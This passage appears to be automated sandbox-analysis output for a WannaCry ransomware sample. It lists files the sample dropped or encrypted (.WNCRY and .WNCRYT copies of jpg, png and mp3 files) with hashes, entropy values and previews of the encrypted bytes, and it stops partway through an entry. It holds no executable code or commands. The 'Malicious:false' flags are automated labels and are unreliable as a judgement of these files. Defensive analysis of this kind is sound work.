                                                                                                      SHA1:614F6BF722FCEEC965EBACBC81B91C3B55F74898
                                                                                                      SHA-256:AC1765AB44C18417B7E7403A9EDB55BDAA3FD38714E6DE54B5A62AD132DB4DBF
                                                                                                      SHA-512:2431E59217DDF264479C31C3A355CD1AF9D001DBFEACAD6D1ECB9C451CCB3BF97F8640120619CB18ECBD97F391537965BBABF653FA5924D4215A4FED233C43B9
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.......z...i.....Hc3P=g@..Q}...,a./.....?=k......Xr....CrMJl.1..+... hP.3...2G..L.x~.p.b.....>.x.....D..$E..\.....[.5Y......./n..T..v......{..=.o.......k.*.....k.%.j.[C..z...+.......s.Z...*s"m....A..#+.B._....]A.#...t>6u....1......&.].s%`.~...."................g..1..E.l.'.v.l...D..#..p..`.Q....,..gil..J.....P.....D.......u.u.a6.5...7.......<P..O...M.D%Q..8......L..V.i5.....Y.......8.ZR.L..{......-e..:.=...r....u.W.pA...EF;..x....a..../.......`p..VI....n..x...j.l..z..6I.o..P..@&..t $.Q....M./_,.n*.....p....R.l..).Kw.H ......m.,j.6.....vJ.'aWh....p...=...Fg.I#KmN..oz.....;!Y....`D....DvMw4}.y.Y.....I.L..X.7a...8e.9.*W..`b.......=[0..#...tDg~a...d.....a.rg....;.#.G......Ps.Z..^....._.H.O.6...b..s......=p.@i.1,P.k.....=I..0i.1._...U:..z..6.1....k.....,.9..r4......Z{%...?+./apv6U...&..e.&t..O...o(......J.|../jQLj."./..SB.Q4......b..&.w.P.8S.a...m.q.....Y.71...........%..;.O...FT,*d.N....6.l....I+..*.Sj.:.$..d/[..b.i.$J+Y..[...T/..j

                                                                                                      C:\Users\user\Documents\EFOYFBOLXA\ZIPXYXWIOY.mp3.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.83986054407561
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkdn0qWwvb5rU5PKokEVNqcNL8BpoHKkDZktpc+vNBWW+ybsO+VoC22vTP7+:bkd0qW1Kl27o3kml0W+ybB+VoCD7P7+
                                                                                                      MD5:95307BDFB7B78C9DE11B2D68AAC314E4
                                                                                                      SHA1:614F6BF722FCEEC965EBACBC81B91C3B55F74898
                                                                                                      SHA-256:AC1765AB44C18417B7E7403A9EDB55BDAA3FD38714E6DE54B5A62AD132DB4DBF
                                                                                                      SHA-512:2431E59217DDF264479C31C3A355CD1AF9D001DBFEACAD6D1ECB9C451CCB3BF97F8640120619CB18ECBD97F391537965BBABF653FA5924D4215A4FED233C43B9
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.......z...i.....Hc3P=g@..Q}...,a./.....?=k......Xr....CrMJl.1..+... hP.3...2G..L.x~.p.b.....>.x.....D..$E..\.....[.5Y......./n..T..v......{..=.o.......k.*.....k.%.j.[C..z...+.......s.Z...*s"m....A..#+.B._....]A.#...t>6u....1......&.].s%`.~...."................g..1..E.l.'.v.l...D..#..p..`.Q....,..gil..J.....P.....D.......u.u.a6.5...7.......<P..O...M.D%Q..8......L..V.i5.....Y.......8.ZR.L..{......-e..:.=...r....u.W.pA...EF;..x....a..../.......`p..VI....n..x...j.l..z..6I.o..P..@&..t $.Q....M./_,.n*.....p....R.l..).Kw.H ......m.,j.6.....vJ.'aWh....p...=...Fg.I#KmN..oz.....;!Y....`D....DvMw4}.y.Y.....I.L..X.7a...8e.9.*W..`b.......=[0..#...tDg~a...d.....a.rg....;.#.G......Ps.Z..^....._.H.O.6...b..s......=p.@i.1,P.k.....=I..0i.1._...U:..z..6.1....k.....,.9..r4......Z{%...?+./apv6U...&..e.&t..O...o(......J.|../jQLj."./..SB.Q4......b..&.w.P.8S.a...m.q.....Y.71...........%..;.O...FT,*d.N....6.l....I+..*.Sj.:.$..d/[..b.i.$J+Y..[...T/..j

                                                                                                      C:\Users\user\Documents\EIVQSAOTAQ.png

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.8333903945124375
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:12:THkxpEj6m259J982/vmjOSTYrYKiZLZhx0oKX7SKCP+pNWoOWH50wcVpuBMzXEbY:AL55rYjOSgdwLZhx0oqy+3Wop6uoydji
                                                                                                      MD5:4CF2BE5B92C897008BFEE8292444DBB0
                                                                                                      SHA1:77908C1C493E526962FE0F41AFE4D4CA2C039BFB
                                                                                                      SHA-256:E2B9596CA014324F99CEF022D827EDFEB11FF91337D38EA280E9880CCB593B29
                                                                                                      SHA-512:D7164DF82AC4C8B8B38FDE5151E43C8F1077C90D685D251F398B0F7D0D6102F13033CF0FEC3B8542BD10DDEA85A4603EB653CF696EEC965E10E76A399DF8003D
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:Kv...XB{W..._..%+...~...E..1...m.T..L9.>V.X....<.}..T....#$.E..*m....a..c....Ny..&).s%.}......+....S..........<@O..G.<.....`.R..6f.....{....##.....Bu.[..n..S...]...Iuo@u...U.l..M...0+......(xd.i..........pj...oQ...r.......M..b...0.5*.,... ..&.tQH.\.$.4....p {m%...&v...v....P[..T.O.+y....._..W...s......k..y..W...h)..L..v....y_rkQ..9MOAk..A0\....?....y|..w#...>*.F.&F.i<.B.....Y|....JE5..J;..7p.=.!.....n.h...=..G.b,..9./h..=p8<..$....g.B... ..VD..g.J.0^.9..A>P.......5R.[EG...e....)..4....\...w9.0k.....x[.6e.!.5.N..dO.q..}..C1K*...!.....E2.Z$.DG.../s.ZJ*...S......>.>..G...B....G.t|M......P..0-x...z..."......l.>.J<..6KV9W..]=JYhd.6BJ..y.2..oN....Vid.Q ..e<......\...?. .0...X..0f%&..A@..f"{x.`........F....U.`a..'r.;-uL.L...ys.......Z....<~%.q.c.. .t..m...c%"...e[o..&'..:..............Zc.Z./.|.L).A!l.NE.)..t...D...G...j.....d.<:.g....'...'.NT...>.'...BD...r8.,...J..d..m2q.RN..mJ.9w.DfL...B.1...b'Z.|i...G...-...a..X5......\r..D..^...*8

                                                                                                      C:\Users\user\Documents\EIVQSAOTAQ.png.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.84397144182859
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkCEGAIfkEArmIpaALmOuILKsEUEIMWS9JtRj0wN1bUAHWGMX43dJ:bkutkrFm3IfEdd9Jj0wNxHHWr43v
                                                                                                      MD5:CD7A7E3B29747E88A12E1ADE7C94C9FD
                                                                                                      SHA1:EDE5E1C1049E6C91215B5788C49A1FFF6559A99B
                                                                                                      SHA-256:74FEED0F590EEB48DEA6105BBFE01685FDD359694B544E88CF84022A299921C9
                                                                                                      SHA-512:87090E7F166B70589EDC0CC946BC019308D25C43B83090980CFD1B9C1DBD77D887B98BB3BA8A22EFDF26124D280E3F83CD114D3AF398EEFC979C68DFF82496D1
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....:s.w......uR<...o.|........\...,......Vw.Y.C..Vl..p2...#..UOS.b.0,.........]..11E...R..[..w._.b.......TB......i;`..jU.3e......Z`.^..blcp..(..u......T.?.`1&..?....f.\U.#.m....3.....U.I..U.....mYD.........f...OUG.).+.{(...pU.`...&.j~....F...............:%._...y.Yyi....#.%A$r0V.g;...^....[_.j.?..q`..x.+0..n..c..q....].+..?>........l.w.>..CeC'.v@...C.O..LQ..u..*..Ro.....".E......*..*,h.T.4.|.L..n.....nv.XFd..G"..f~9.?...........,'.^...mW.k..h...z..S.%..U.%...pLc..E.2h.vA.5....B...Y....\q_...{....u7U..&..:.P.....k.p..&...w...N,..n....a.)...";Q...7.e-.q.l]....oT.`...DR..... .G.Jf...8........S..b....Q.....\..7..#'...X..z@1.(V.E.|G:4.Uqy..@..Ih.Y.9=P...Z..je...}.>\...%..=.V.C..H2..Sy}...T6..X.V.>.l5.s....].8...C.h..H1.......'"..z...,.).:.".8.En.f. ...9...n7.!A..=.#..Y....h.T.kC.3....RML.]o.Avt.I2.&]!.........&...q./...#..4..{.?..j{.SR*.e.....F.......K{..z.......\....x:G#.h!cC. .s.W]{.<n]......va..c....VbQ.^.-...........".

                                                                                                      C:\Users\user\Documents\EIVQSAOTAQ.png.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.84397144182859
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkCEGAIfkEArmIpaALmOuILKsEUEIMWS9JtRj0wN1bUAHWGMX43dJ:bkutkrFm3IfEdd9Jj0wNxHHWr43v
                                                                                                      MD5:CD7A7E3B29747E88A12E1ADE7C94C9FD
                                                                                                      SHA1:EDE5E1C1049E6C91215B5788C49A1FFF6559A99B
                                                                                                      SHA-256:74FEED0F590EEB48DEA6105BBFE01685FDD359694B544E88CF84022A299921C9
                                                                                                      SHA-512:87090E7F166B70589EDC0CC946BC019308D25C43B83090980CFD1B9C1DBD77D887B98BB3BA8A22EFDF26124D280E3F83CD114D3AF398EEFC979C68DFF82496D1
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....:s.w......uR<...o.|........\...,......Vw.Y.C..Vl..p2...#..UOS.b.0,.........]..11E...R..[..w._.b.......TB......i;`..jU.3e......Z`.^..blcp..(..u......T.?.`1&..?....f.\U.#.m....3.....U.I..U.....mYD.........f...OUG.).+.{(...pU.`...&.j~....F...............:%._...y.Yyi....#.%A$r0V.g;...^....[_.j.?..q`..x.+0..n..c..q....].+..?>........l.w.>..CeC'.v@...C.O..LQ..u..*..Ro.....".E......*..*,h.T.4.|.L..n.....nv.XFd..G"..f~9.?...........,'.^...mW.k..h...z..S.%..U.%...pLc..E.2h.vA.5....B...Y....\q_...{....u7U..&..:.P.....k.p..&...w...N,..n....a.)...";Q...7.e-.q.l]....oT.`...DR..... .G.Jf...8........S..b....Q.....\..7..#'...X..z@1.(V.E.|G:4.Uqy..@..Ih.Y.9=P...Z..je...}.>\...%..=.V.C..H2..Sy}...T6..X.V.>.l5.s....].8...C.h..H1.......'"..z...,.).:.".8.En.f. ...9...n7.!A..=.#..Y....h.T.kC.3....RML.]o.Avt.I2.&]!.........&...q./...#..4..{.?..j{.SR*.e.....F.......K{..z.......\....x:G#.h!cC. .s.W]{.<n]......va..c....VbQ.^.-...........".

                                                                                                      C:\Users\user\Documents\EOWRVPQCCS.jpg

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.8120425036741805
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:35hT/RJpHhL5/eyJXFUzL8x2bk/UiP9ggsvkFCZV30iKYF6:3TT/RJp7/ey1FUzIx2bC7bGZVHKYF6
                                                                                                      MD5:86212D38FE448C483C5AB37D5F44F76D
                                                                                                      SHA1:611F284976B59953153CE2523BD76EE47E2AF08B
                                                                                                      SHA-256:C8EA0ACF20BBCAFACDD7A9E8786F957C48B14250F38584D8590A7B4E175F5E33
                                                                                                      SHA-512:6657669D8553693A5F1CB38756C900565EC2AE6A32C025D44588D8A5B395C916213F19BA0E1FE2D7212045AE3624CD9C1737FA515E367B8F7D2675A2D5155B50
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:*&a.bv..1-6...N.A...e...k....$S...qO..r.=4.|g.z4...pY R..}..+Q..J;.`.C...L..Ll:.+f#......a4,...=@X+.-.j.,'Y..C...3.;7BxN......%.....f..1....(crS..y.;9.}..$.[.5...<H63.+...e.}...f..... y.o._.. ../.... .W..K>...o..g.....:..c./.0..4...vi..O1}..j....3.s....;+ -...-K.O..@.Q#.ZpC...%s...0...F..9|<w............m...[...d.>X..(%yb.e..!..Ao.\..[....T.w,qI.U. ~!....\d.a....3.~..GW..O.~.A.<....c..+..TN..5..m...g.K.l.-.ubrU<i.....W.4..k.........e...5$.4Q.B...v..Z..:...4.......RwyTsY.P..;u.^e:.....{$.Y..t.....9...&...$.YT..k.Y./...M.....{..?..\NXd...S.d...J....F.u.U....G... .....6..y.gF.......a6..!d..r..Gr.. .Y......&?.If..\;.K..2.5^}..D9K..mF.g.e.I...+..........(*..Rk.Z.\/.....C...l.....\.Ec.z[.=.j.A..K..r...,.....[Z.......`..Y...+.l...G.&.K..N..j......{.R..`..n]..'.=..98e>.<UX5.{?O9.0..I{.r.......l.&..N|*.#......O...X..._.T.jn.....[...k;:...".NN....E.#SS`..U..>F......EJ.I.r.__....{..;t...r....n...%.I..:l.......y.6.....s/..I...\()gIc2.z.X..0B....$.

                                                                                                      C:\Users\user\Documents\EOWRVPQCCS.jpg.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.86578176519228
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkOVp8FRKrGH7WTstYa8N/xDMSpTINCYOqY2+kNEg:bkO8FRya8ia/xDMSpTTY/Y/kNEg
                                                                                                      MD5:DB5B71B032F1A7A775616E640DB2E32A
                                                                                                      SHA1:5106C95C01B1E9FA6BDD9DC655F58F4C7CC17DC5
                                                                                                      SHA-256:9AB05F88156E7C26F6CE7BCCC17417EB90ADCC36B989317E9B268F4D84D0FA25
                                                                                                      SHA-512:E1E0F6C0264A24BDF622751F0EB2A9DCDCC00DF7743B0676B1F34C00B4CA0467BD25E67FE214BB452A3348907EA28AFC165DB68BAF9E3421D003515F97697846
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....s?{.KA._.{5,...F...Z.i.....V...d8,.ECT.P..l@.....0wU)...k...B...L3X8.X._f...z....R...'.y.$.....|..f?Y:.!.......;'..?..J.\..1H..".......H..<w.%...eZUw..\...c...N.v......^.....'....T.SK./..o#:.(8S..w.x..KI.uU....r...?(..[3zXy....6S.J..;.>..89.............T.....7...`.Z.3...m..Q..$%.)b...ZU..../?t.6E..P......@8..9m.@....).....G.n......v.....~~.C......}.s1...&..[.y.x.(s..[7...G.O.,oH....;..Z...z...b.....5R.k/D..o...tvdm..-..sJ..[.E....?.Xea.w....7.:.|..`.h....3.......T..~.....K9. ...(.0....8 .:'.t.".".....E6..).9|V.....;. ..;..o....g.*.b".b... ...u...$.qZ...1 ..Vv..>.....A.......).xm..HK~8..0............N..8$.LO.xL...W.(..^....#.dq..jV..x9.J...!...+..&........|.....w..Z.2.llh.......$f>.V..E.4...oU.c..v...U..?...)L$......,.f....c.'%AGn.....zb.....t......nY&2..../&....+..A@..iM.....z.=...h&UP..j.7...Z...5...*.z.V..1.<..m....6.Dg1...t..7z.`;}N...s.%.+..E.d..~9+GGq#.y..7.y.1.$F.....5.EX...!..!......jE....H..E........pR.%....<.4..,..

                                                                                                      C:\Users\user\Documents\EOWRVPQCCS.jpg.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.86578176519228
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkOVp8FRKrGH7WTstYa8N/xDMSpTINCYOqY2+kNEg:bkO8FRya8ia/xDMSpTTY/Y/kNEg
                                                                                                      MD5:DB5B71B032F1A7A775616E640DB2E32A
                                                                                                      SHA1:5106C95C01B1E9FA6BDD9DC655F58F4C7CC17DC5
                                                                                                      SHA-256:9AB05F88156E7C26F6CE7BCCC17417EB90ADCC36B989317E9B268F4D84D0FA25
                                                                                                      SHA-512:E1E0F6C0264A24BDF622751F0EB2A9DCDCC00DF7743B0676B1F34C00B4CA0467BD25E67FE214BB452A3348907EA28AFC165DB68BAF9E3421D003515F97697846
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....s?{.KA._.{5,...F...Z.i.....V...d8,.ECT.P..l@.....0wU)...k...B...L3X8.X._f...z....R...'.y.$.....|..f?Y:.!.......;'..?..J.\..1H..".......H..<w.%...eZUw..\...c...N.v......^.....'....T.SK./..o#:.(8S..w.x..KI.uU....r...?(..[3zXy....6S.J..;.>..89.............T.....7...`.Z.3...m..Q..$%.)b...ZU..../?t.6E..P......@8..9m.@....).....G.n......v.....~~.C......}.s1...&..[.y.x.(s..[7...G.O.,oH....;..Z...z...b.....5R.k/D..o...tvdm..-..sJ..[.E....?.Xea.w....7.:.|..`.h....3.......T..~.....K9. ...(.0....8 .:'.t.".".....E6..).9|V.....;. ..;..o....g.*.b".b... ...u...$.qZ...1 ..Vv..>.....A.......).xm..HK~8..0............N..8$.LO.xL...W.(..^....#.dq..jV..x9.J...!...+..&........|.....w..Z.2.llh.......$f>.V..E.4...oU.c..v...U..?...)L$......,.f....c.'%AGn.....zb.....t......nY&2..../&....+..A@..iM.....z.=...h&UP..j.7...Z...5...*.z.V..1.<..m....6.Dg1...t..7z.`;}N...s.%.+..E.d..~9+GGq#.y..7.y.1.$F.....5.EX...!..!......jE....H..E........pR.%....<.4..,..

                                                                                                      C:\Users\user\Documents\GIGIYTFFYT.jpg

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.814431141604277
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:GZK+1FwMFooqVMqpPwt02HbVFdS7G2UIQ+1:GZ3P1k7PwK2H5LSYIh
                                                                                                      MD5:FC0B49013BB7E22292842EA654C0B215
                                                                                                      SHA1:288AEF4910E5F6715C6F4A3D96C4199D17B4F5A9
                                                                                                      SHA-256:AF4FDCE3EDFE9B754DB3E2B0CA9917132B6FB61261D4AEE9F288236E4222FE33
                                                                                                      SHA-512:115EECA149F17752301A530D593528F18896D7DC6B319E02A86AA78E2F1D31E3E8342B7BBD04A2DEABBE5C24825F51278945D4DA5458A111EF46FF7CA0F8E6F5
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:.....9g*+.y..s....b@..}.p..%.#..iM9..d...w.}......aG..Q.J~.|%..E.@..:B.....2.#.{.7.7..a.l.+8V... :......L.4.z<.'..~..v`.UU;...h.K.y....h.+J.3H.C.....Y@.T........9."}.............$.....7..E^2D\..d..q). ......qJ).....7....#.#........nI.*....W.h.....9.q.9hn..r.N....J....!..=.<.(.F/....O*.....k7....Q..qu.G...d^..T6I/...U.U...qY.s.;o...<.......J.`.........hi.....kR...v.).4...!.........y.I..{......k.,...-..~y.?...<....t(j../.Pfr....S..T....'ha.m...U.=k....&....Hd(.,R0.[...........jI.6.M...a.jL>.....|P.an..}@(...*....H... ...r;.....k}........7..;...a.s$.X.I.;....:...D....z'...b..Pt....!Z..c&..AD.u.....pYt..$....,}..X'o.}+kU..... .W.7,..^qL..._...0v+.n...j..t.].E..$.....[...t-...A'h...@..+...S.y.4BL.~.....'~-.........-c|..c...O..@.$..K..e.....w.....R]rL}..y.I.`...a.f.bS..A>.!g.yS..~.....fz.U..cnGo.6.3..9....2iW.F..........B....)....@.>We....H..:.1..f-.........f..p...df...b.....!...*e.8.....S.%.^....JL.......f......9....u}.T...QA...

                                                                                                      C:\Users\user\Documents\GIGIYTFFYT.jpg.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.862701834745769
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkHAsqPmEhcoMGMU3YIFARIun0ut1cPvp138gAVMr:bkHANPFhHH3Y9+3p1TwMr
                                                                                                      MD5:89774994AA9675DE2D917BCCC2F1B7A4
                                                                                                      SHA1:6F6D4D852F14D89C5A85654F6B2E1B24019EDCE8
                                                                                                      SHA-256:4D56C5459BE9ADB142B279D8E82F5081C4F92C1789FC48ED7FF08215D20E228A
                                                                                                      SHA-512:97EF8795416484019336F6E1176D20A581A9DC1776340F108A7E2CFE6DA8377A184AD726007B7E0B7E8AAF4A2E69872933FEDD02901C7A09F50901D2CD39D557
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....'.=4R.J..Q..}.!+...<8,.X.~.).....0..[..._..3.+..!.."........P.1....."..?.n..\Z*A,.O.!.q.|.9.D.::....<].J.."..).Ww.f^....q8P.8..v...T.....v"A..H|.H.. ..C.....;.Z....X...@6..[.I..~2..:F....U.=..P...e.k,....y...y...h.8.(..$..FI............A.T..C..............;.rM...x.,.A.(..h..]...e..g..,.?..... :...5.o..5....o0 .F....5..\>..T}....i..3.D5g.4...=.B....H.. .w\X.z..\.Q.C...O.-..{....?.-...j.n.g.....y/A.`......J....6..eVmd.....D...va86..H.....p)^8On...V...5.0`.M...x.W,.$}....!_....#....-...I.-.....+....7D.3..j..D.D.....e.Y...D5r:F....M....k.....4F..w.@i@...h...K.f......]A...!2rJ0;.`n.M(..v5C.:.)-..$.x...2..7.8....Y.HZ.G?.Bk...W./c...s`E.}@.fxu...W..o...Cv.m:pT.>...!A.^..Z,.t..H...B[7.2]..$9 ..G'O.......I.....0.^.Y.e.)..#X.l.<v...h-..Fp.+....s.o8.O.-.....:7b...U.....S,W.R.].......1.....#.?.9..uR....uPqB..(.:...]..6f.@.._.h..L%...El-<.....?.w...P....7o...9........B.c[.e&...S:$..{O}...E%.Y..8.t.P..v-.R..s..../.hB+.\...1...&%...n.?<.5...

                                                                                                      C:\Users\user\Documents\GIGIYTFFYT.jpg.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.862701834745769
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkHAsqPmEhcoMGMU3YIFARIun0ut1cPvp138gAVMr:bkHANPFhHH3Y9+3p1TwMr
                                                                                                      MD5:89774994AA9675DE2D917BCCC2F1B7A4
                                                                                                      SHA1:6F6D4D852F14D89C5A85654F6B2E1B24019EDCE8
                                                                                                      SHA-256:4D56C5459BE9ADB142B279D8E82F5081C4F92C1789FC48ED7FF08215D20E228A
                                                                                                      SHA-512:97EF8795416484019336F6E1176D20A581A9DC1776340F108A7E2CFE6DA8377A184AD726007B7E0B7E8AAF4A2E69872933FEDD02901C7A09F50901D2CD39D557
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....'.=4R.J..Q..}.!+...<8,.X.~.).....0..[..._..3.+..!.."........P.1....."..?.n..\Z*A,.O.!.q.|.9.D.::....<].J.."..).Ww.f^....q8P.8..v...T.....v"A..H|.H.. ..C.....;.Z....X...@6..[.I..~2..:F....U.=..P...e.k,....y...y...h.8.(..$..FI............A.T..C..............;.rM...x.,.A.(..h..]...e..g..,.?..... :...5.o..5....o0 .F....5..\>..T}....i..3.D5g.4...=.B....H.. .w\X.z..\.Q.C...O.-..{....?.-...j.n.g.....y/A.`......J....6..eVmd.....D...va86..H.....p)^8On...V...5.0`.M...x.W,.$}....!_....#....-...I.-.....+....7D.3..j..D.D.....e.Y...D5r:F....M....k.....4F..w.@i@...h...K.f......]A...!2rJ0;.`n.M(..v5C.:.)-..$.x...2..7.8....Y.HZ.G?.Bk...W./c...s`E.}@.fxu...W..o...Cv.m:pT.>...!A.^..Z,.t..H...B[7.2]..$9 ..G'O.......I.....0.^.Y.e.)..#X.l.<v...h-..Fp.+....s.o8.O.-.....:7b...U.....S,W.R.].......1.....#.?.9..uR....uPqB..(.:...]..6f.@.._.h..L%...El-<.....?.w...P....7o...9........B.c[.e&...S:$..{O}...E%.Y..8.t.P..v-.R..s..../.hB+.\...1...&%...n.?<.5...

                                                                                                      C:\Users\user\Documents\GIGIYTFFYT.mp3

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.825810672418149
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:ONLFrSM/RxGl5+sHrLryd23wsUc1hNmZkI77Oyc0:OdBBZxGv+sHrLmd2gghNyqyc0
                                                                                                      MD5:CC75B09FC6ADC4C503C4531CC7951AEE
                                                                                                      SHA1:96F9EF113A44D06D4ADC588D910C184D4AB92656
                                                                                                      SHA-256:5F1396EFCD2C94DA2B6C55F97CE7180EA2ABFB5FF5739BF2B38C0BA97081166E
                                                                                                      SHA-512:C6FE589C59A32851F1C0F6E0F260F8D91AC7E752C1D0406C1A9D8A76AD57D3E295F70F05B26082066AC81989A5DA4ADFE81BA5329FD2D3A70E3F0DDB6526D77D
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:.:.H...x]@.f.b....c..eLv|......-geD.e..{.n7.n.`A.*AI%.~.....T.m.S.....56`...sg...H._d....?.^>.)..I.%......!.....2....vT.@..*..l"....d.......h....e.!`..<.UI&..`>...47...2...\8......b~..^A........[.(.m.".y)LL.Y0...C.A./.]..th.}..FLOPt...../r..:x...x...=.l..S.U|].xb.15.a'W...@....Q...|MbOj...Vj.;.....D..;....(?K.xb-..:....p.....g.`&j...;..^s....|.+/@.mDa.......j.`.....h........%p$1C.....OU1(0{..w*?..J#Qb...E.Z...~.O...@....I..}#F5>....v...77.....,]...k...>."..XTU.<...{..../..4.*.[..F.e:.D.8{+P,$....k,.......k.4..JOr...q..*...K...].....P, .Qo..'9........c..D.%..j..Q]d&~l..8.M......1.....d.....@.{..^....7D.Bu.L........?Mr....kz..........&......tN....>.2}.}.......+.........#..u..>v.%B.oY.\.>(l..G3f0.".R.6..6.....}.>p?...m....!..........^7ZG<..H........a.>n...c.1$2z.L_.....E.}BAb{..C.H..yK...b...j....*A.|W...:._$..P i^..x..}J..9$.q..;.....#.B.k,..2@B....C...... /w8.. ..I........"R..@Ug.R...t..._Z.....T.MWw..h....K.-..~Y&w.d..!{;.w.....*I......;.Lx7b.

                                                                                                      C:\Users\user\Documents\GIGIYTFFYT.mp3.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.861824266603615
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bktIbPpZUBbB++X2Yrd29Oty6CdEtDgiBjprMkm8OdRoCHuodRsd+pWhjv0ALyo:bk0QBmMylgjpr0/RoSuCunjcALz
                                                                                                      MD5:698C06BC7EC41A91EBB128275D926AE3
                                                                                                      SHA1:998D4BC067B58BF7FDA6F3852FB192E022816F3D
                                                                                                      SHA-256:997F21569F23E147C2FC3832E0AFB6C56A6590614C8C98243656D85F74F0EAE4
                                                                                                      SHA-512:717C65170DE964A6F01975545B567AA28721FF0070A0B38BC6BCAD7E16572A0ABCBFD0BA5F193E069681D4E984C1B113FAE4F4FB6C375A9B52378822F8AAB250
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.......G].q....X....b9...>..]w...m.F>......OI....~L.-..VN....H.S.,.A...c.K."..V......t+.Ex.1.2.!]q.].......E.sU...%.4..R.:l.S..%.4!~.8....[.Q..n.....^......R..e!.:3w...I...,...D..(Oi./7.6..1*.`.|v.....q...1.....B<.)..&h&Y...-:...U..I....c.............4.. .....S...EDk<.....Q...BCP...: .i^..}?.{...P|NF..~.P.y...F....3.i.(........8G%.g3*...t.pL.n.n....j.....0.lp...`.'t....".R.&>.!S{uBhz.-.S..k.....~..c.s...!..V.!...%...E.r.XK......*(KwYn^...r6P5.2&.r] .6g..}. h..L....3p...([5..XDi.N....A.^}W.J.nO...-...?Lu..q...]N...Fm...?u..K.......[..4.,s.......B>.........gsT&...9..Pb.........7...5.^2.............m....q.?]m..wy...f..J.'k...{.....i.2....@%..q...G..|..WLcL._r\.Q.6@..>t...S/J..g.=l._>h...\}....r^I.?..U/..O.OT....L.....Os[.E.&..jg......$_....k9......rv.<v*...u...~..B..)..A.....fG..S-.u&Ut..D...g.n....E..g}0...L.....".^^......p...3.....;........../)o...}.}..u...T.H..?....4.Nf..7F.....C..Y..w..[..!2..T..76/.-...UM...A..h"..

                                                                                                      C:\Users\user\Documents\GIGIYTFFYT.mp3.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.861824266603615
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bktIbPpZUBbB++X2Yrd29Oty6CdEtDgiBjprMkm8OdRoCHuodRsd+pWhjv0ALyo:bk0QBmMylgjpr0/RoSuCunjcALz
                                                                                                      MD5:698C06BC7EC41A91EBB128275D926AE3
